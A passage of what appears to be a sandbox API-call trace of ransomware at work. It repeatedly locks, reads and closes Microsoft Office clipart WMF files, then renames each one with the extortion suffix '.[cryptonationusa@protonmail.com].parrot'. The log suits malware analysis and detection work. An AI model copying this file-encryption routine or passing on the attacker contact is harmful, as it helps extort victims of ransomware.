nNumberOfBytesToRead=0x1984, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1984, lpOverlapped=0x0) returned 1 [0135.173] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.173] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a9c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.173] CloseHandle (hObject=0x288) returned 1 [0135.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.177] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.177] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.177] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.178] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.178] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1094, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1094, lpOverlapped=0x0) returned 1 [0135.179] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.179] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.179] CloseHandle (hObject=0x288) returned 1 [0135.180] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.183] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.183] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.183] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.184] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.185] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13d4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13d4, lpOverlapped=0x0) returned 1 [0135.185] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.186] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.186] CloseHandle (hObject=0x288) returned 1 [0135.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.189] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5d90, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.190] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.190] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.191] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.192] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c78, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5c78, lpOverlapped=0x0) returned 1 [0135.193] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.193] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5d90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.193] CloseHandle (hObject=0x288) returned 1 [0135.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.197] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2034, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.197] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.197] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.198] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.199] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f1c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f1c, lpOverlapped=0x0) returned 1 [0135.199] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.200] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2034, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.200] CloseHandle (hObject=0x288) returned 1 [0135.200] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.204] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x41e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.204] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.204] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.206] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.206] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40cc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x40cc, lpOverlapped=0x0) returned 1 [0135.207] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.207] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x41e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.207] CloseHandle (hObject=0x288) returned 1 [0135.208] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.211] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2dfc, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.211] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.211] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.213] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.213] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ce4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2ce4, lpOverlapped=0x0) returned 1 [0135.214] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.215] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2dfc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.215] CloseHandle (hObject=0x288) returned 1 [0135.215] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.219] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7798, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.219] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.219] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.220] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.220] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7680, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7680, lpOverlapped=0x0) returned 1 [0135.222] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.223] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7798, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.223] CloseHandle (hObject=0x288) returned 1 [0135.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.229] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1450, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.229] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.229] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.231] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.231] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1338, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1338, lpOverlapped=0x0) returned 1 [0135.232] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.232] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1450, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.232] CloseHandle (hObject=0x288) returned 1 [0135.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.236] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x53f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.237] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.237] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.238] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.238] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x52e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x52e0, lpOverlapped=0x0) returned 1 [0135.239] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.240] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x53f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.240] CloseHandle (hObject=0x288) returned 1 [0135.240] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.243] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfa4, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.243] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.243] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.245] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.245] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe8c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe8c, lpOverlapped=0x0) returned 1 [0135.245] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.246] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfa4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.246] CloseHandle (hObject=0x288) returned 1 [0135.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.249] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf08, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.249] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.249] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.285] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.285] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdf0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xdf0, lpOverlapped=0x0) returned 1 [0135.285] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.285] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf08, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.286] CloseHandle (hObject=0x288) returned 1 [0135.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.289] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x26a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.289] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.290] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.297] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.300] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x258c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x258c, lpOverlapped=0x0) returned 1 [0135.302] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.305] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x26a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.306] CloseHandle (hObject=0x288) returned 1 [0135.309] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.328] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.328] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.328] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.329] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.330] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1788, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1788, lpOverlapped=0x0) returned 1 [0135.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.331] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.331] CloseHandle (hObject=0x288) returned 1 [0135.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.335] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x148c, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.335] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.335] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.336] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.336] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1374, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1374, lpOverlapped=0x0) returned 1 [0135.337] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.337] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x148c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.337] CloseHandle 